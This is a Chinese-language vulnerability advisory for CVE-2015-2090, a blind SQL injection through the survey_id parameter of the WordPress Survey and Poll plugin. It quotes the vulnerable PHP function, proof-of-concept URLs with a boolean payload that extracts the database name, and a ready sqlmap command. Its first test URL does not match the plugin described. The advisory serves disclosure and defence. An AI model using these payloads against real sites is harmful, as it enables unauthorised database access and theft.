安全研究

安全漏洞
WordPress Survey and Poll插件'settings.php' SQL注入漏洞

发布日期:2015-05-28
更新日期:2015-06-02

受影响系统:
WordPress Survey and Poll 1.1
描述:
BUGTRAQ  ID: 74890
CVE(CAN) ID: CVE-2015-2090

WordPress Survey and Poll是网站上游客直接反馈解决方案。

WordPress Survey and Poll 1.1.7插件中,settings.php内的ajax_survey函数存在sql注入漏洞,远程攻击者通过wp-admin/admin-ajax.php中ajax_survey操作的survey_id参数,利用此漏洞可执行任意sql命令。

<*来源:Securely
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://www.example.com/wp-admin/admin-ajax.php?action=rss&amp;amp;type=video&amp;amp;vid=[SQLi]



#################################################################
# Exploit Title : Wordpress Survey and poll Blind SQL Injection

# Data : 2015 – 02 - 11

# Exploit Author : Securely (Yoo Hee man)

# Plugin : WordPress Survey and Poll

# Vender Homepage : http://modalsurvey.sympies.com

# Tested On : Windows XP / sqlmap_v1.0

# Software Link : https://downloads.wordpress.org/plugin/wp-survey-and-poll.1.1.zip
                  https://downlaods.wordpress.org/plugin/wp-survey-and-poll.zip (latest version v.1.1.7 By February 11, 2015 based on)

1. Detail
- This Plugin is passes ajax_survey function as [admin-ajax.php] a form of action and processes them in the /wp-survey-and-poll/settings.php
- Settings.php file is no login cookie check
- "survey_id" variable is not sanitized


#################################################################
public function ajax_survey()
    {
        global $wpdb;
        $survey_id = "";
        $survey_name = "";
        $survey_start_time = "";
        $survey_expiry_time = "";
        $survey_global = "";
        if (isset($_REQUEST['survey_id'])) $survey_id = sanitize_text_field($_REQUEST['survey_id']);
        else $survey_id = "";
        if (isset($_REQUEST['survey_name'])) sanitize_text_field($survey_name = $_REQUEST['survey_name']);
        else $survey_name = "";
        if (isset($_REQUEST['start_time'])&&(!empty($_REQUEST['start_time']))) $survey_start_time = $this->get_datetime_date(sanitize_text_field($_REQUEST['start_time']));
        else $survey_start_time = "";
        if (isset($_REQUEST['expiry_time'])&&(!empty($_REQUEST['expiry_time']))) $survey_expiry_time = $this->get_datetime_date(sanitize_text_field($_REQUEST['expiry_time']));
        else $survey_expiry_time = "";
        if (isset($_REQUEST['global_use'])) $survey_global = sanitize_text_field($_REQUEST['global_use']);
        else $survey_global = "";
        if (isset($_REQUEST['options'])) $survey_options = sanitize_text_field($_REQUEST['options']);
        else $survey_options = "";
        if (isset($_REQUEST['qa'])) $survey_qa = sanitize_text_field($_REQUEST['qa']);
        else $survey_qa = "";
        $survey_check = $wpdb->get_var("SELECT COUNT(*) FROM ".$wpdb->prefix."wp_sap_surveys WHERE `id` = ".$survey_id);
        if ($_REQUEST['sspcmd']=="save")
        {
        if ($survey_check>0) {
        //update survey
            $wpdb->update( $wpdb->prefix."wp_sap_surveys", array( "options" => $survey_options, "start_time" => $survey_start_time, 'expiry_time' => $survey_expiry_time, 'global' => $survey_global),array('id' => $survey_id));
            $wpdb->query($wpdb->prepare("DELETE FROM ".$wpdb->prefix."wp_sap_questions WHERE `survey_id` = %d",$survey_id));
            $wpdb->query($wpdb->prepare("DELETE FROM ".$wpdb->prefix."wp_sap_answers WHERE `survey_id` = %d",$survey_id));
                $qa_object = (array)json_decode(stripslashes($survey_qa));
                $qa_array = (array)$qa_object;
                foreach($qa_array as $keyq=>$qr)
                {
                    foreach($qr as $key=>$oa)
                    {
                        if ($key==0)
                        {
                        $wpdb->insert( $wpdb->prefix."wp_sap_questions", array(
                            'id' => ($keyq+1),
                            'survey_id' => $survey_id,
                            'question' => $oa
                            ) );
                            $qid = $wpdb->insert_id;
                        }
                        else
                        {
                        $oans = explode("->",$oa);
                        $wpdb->insert( $wpdb->prefix."wp_sap_answers", array(
                            'survey_id' => $survey_id,
                            'question_id' => ($keyq+1),
                            'answer' => $oans[0],
                            'count' => $oans[1],
                            'autoid' => $key
                            ) );                    
                        }
                    
                    }
                }
            die("updated");
        }
        else {
        //insert survey
            $wpdb->insert( $wpdb->prefix."wp_sap_surveys", array(
                'id' => $survey_id,
                'name' => $survey_name,
                'options' => $survey_options,
                'start_time' => $survey_start_time,
                'expiry_time'=> $survey_expiry_time,
                'global'=> $survey_global
                ) );
                $qa_object = (array)json_decode(stripslashes($survey_qa));
                $qa_array = (array)$qa_object;
                foreach($qa_array as $keyq=>$qr)
                {
                    foreach($qr as $key=>$oa)
                    {
                        if ($key==0)
                        {
                        $wpdb->insert( $wpdb->prefix."wp_sap_questions", array(
                            'id' => ($keyq+1),
                            'survey_id' => $survey_id,
                            'question' => $oa
                            ) );
                            $qid = $wpdb->insert_id;
                        }
                        else
                        {
                        $oans = explode("->",$oa);
                        $wpdb->insert( $wpdb->prefix."wp_sap_answers", array(
                            'survey_id' => $survey_id,
                            'question_id' => ($keyq+1),
                            'answer' => $oans[0],
                            'autoid' => $key
                            ) );                    
                        }
                    
                    }
                }
            die('success');
        }
################################################################

2. POC
- http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498 [SQLi]
- DataBase() => "http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id= 3556498 AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>[Numbers compare]

3. Sqlmap
- sqlmap -u "http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498" -p survey_id --dbms=mysql


3. Solution:
Not patched

4. Discovered By : Securely(Yoo Hee man)
                   god2zuzu@naver.com

建议:
厂商补丁:

WordPress
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

https://wordpress.org/plugins/wp-survey-and-poll/changelog/

浏览次数:4040
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障